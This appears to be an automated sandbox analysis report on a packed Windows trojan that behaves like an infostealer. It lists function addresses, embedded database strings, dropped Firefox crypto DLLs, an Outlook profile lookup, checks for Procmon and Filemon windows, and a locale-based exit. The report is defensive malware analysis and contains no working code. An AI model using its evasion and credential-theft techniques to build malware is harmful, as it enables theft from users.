Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00585951	0_2_00585951
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057F192	0_2_0057F192
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064A98C	0_2_0064A98C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00654A4E	0_2_00654A4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006512EE	0_2_006512EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006422C2	0_2_006422C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064C2DE	0_2_0064C2DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060BC75	0_2_0060BC75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064655B	0_2_0064655B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00648DD5	0_2_00648DD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00643DD6	0_2_00643DD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064DDDC	0_2_0064DDDC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00657DA1	0_2_00657DA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005846FC	0_2_005846FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D06A1	0_2_006D06A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00652E86	0_2_00652E86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064F7F7	0_2_0064F7F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00592FAA	0_2_00592FAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 124 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 60 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 002845C0 appears 316 times

Source: file.exe, 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2352402528.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ughgfaox ZLIB complexity 0.9948602905089097

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00299600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00299600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00293720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00293720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\6ZSG3T77.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2352184445.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2352184445.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2352184445.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2352184445.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2352184445.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2352184445.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2184244826.000000001D290000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168607964.000000001D274000.00000004.00000020.00020000.00000000.sdmp, CBGCAFIIECBFIDHIJKFB.0.dr, KECGHIJDGCBKECAAKKEC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350937461.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 45%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1851392 > 1048576

Source: file.exe

Static PE information: Raw size of ughgfaox is bigger than: 0x100000 < 0x19de00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2352184445.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2352184445.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.280000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ughgfaox:EW;zpicggdt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ughgfaox:EW;zpicggdt:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00299860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00299860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c678c should be: 0x1c6cfe

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ughgfaox
Source: file.exe	Static PE information: section name: zpicggdt
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0029B035 push ecx; ret	0_2_0029B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0072B033 push 783EA54Dh; mov dword ptr [esp], ebx	0_2_0072AF8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060E025 push ebx; mov dword ptr [esp], ecx	0_2_0060E07F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FA83C push 383D279Eh; mov dword ptr [esp], eax	0_2_006FA8E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D083A push 5C5F8717h; mov dword ptr [esp], ebp	0_2_006D084E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D083A push 519B9E5Eh; mov dword ptr [esp], edx	0_2_006D08D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D083A push esi; mov dword ptr [esp], ebp	0_2_006D08FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0072182A push 3FF7FBD1h; mov dword ptr [esp], eax	0_2_00721856
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0072182A push 06A105BEh; mov dword ptr [esp], eax	0_2_007218EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E8018 push 58ACB9E1h; mov dword ptr [esp], ecx	0_2_006E804C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DA811 push 09A3F91Ch; mov dword ptr [esp], edx	0_2_006DAA74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091C079 push 4E2C1329h; mov dword ptr [esp], edx	0_2_0091C0D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091C079 push 35D7E523h; mov dword ptr [esp], ebp	0_2_0091C0EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091C079 push edx; mov dword ptr [esp], esi	0_2_0091C0F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091C079 push edx; mov dword ptr [esp], 7E8A771Fh	0_2_0091C121
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091C079 push eax; mov dword ptr [esp], 2C634277h	0_2_0091C143
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091C079 push 2D43CC5Bh; mov dword ptr [esp], esi	0_2_0091C15A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00728882 push 7F4A6741h; mov dword ptr [esp], edx	0_2_007288EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00740080 push eax; mov dword ptr [esp], 5FF32263h	0_2_00740223
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D7091 push 65E60E6Bh; mov dword ptr [esp], esp	0_2_006D70BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00585951 push ecx; mov dword ptr [esp], eax	0_2_0058598E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00585951 push 724FA466h; mov dword ptr [esp], esi	0_2_005859C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00585951 push esi; mov dword ptr [esp], ecx	0_2_005859C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00585951 push 64D0DCA5h; mov dword ptr [esp], ecx	0_2_00585A01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00585951 push 4A06FF4Ah; mov dword ptr [esp], edx	0_2_00585A48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00585951 push 06142724h; mov dword ptr [esp], ecx	0_2_00585A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00585951 push esi; mov dword ptr [esp], ecx	0_2_00585A57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00721961 push eax; mov dword ptr [esp], ecx	0_2_007219F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00721961 push eax; mov dword ptr [esp], ebp	0_2_00721A29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058D943 push ecx; mov dword ptr [esp], edi	0_2_0058D9C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0070F146 push eax; mov dword ptr [esp], ecx	0_2_0070F197

Source: file.exe

Static PE information: section name: ughgfaox entropy: 7.953205877433125

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00299860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-52605

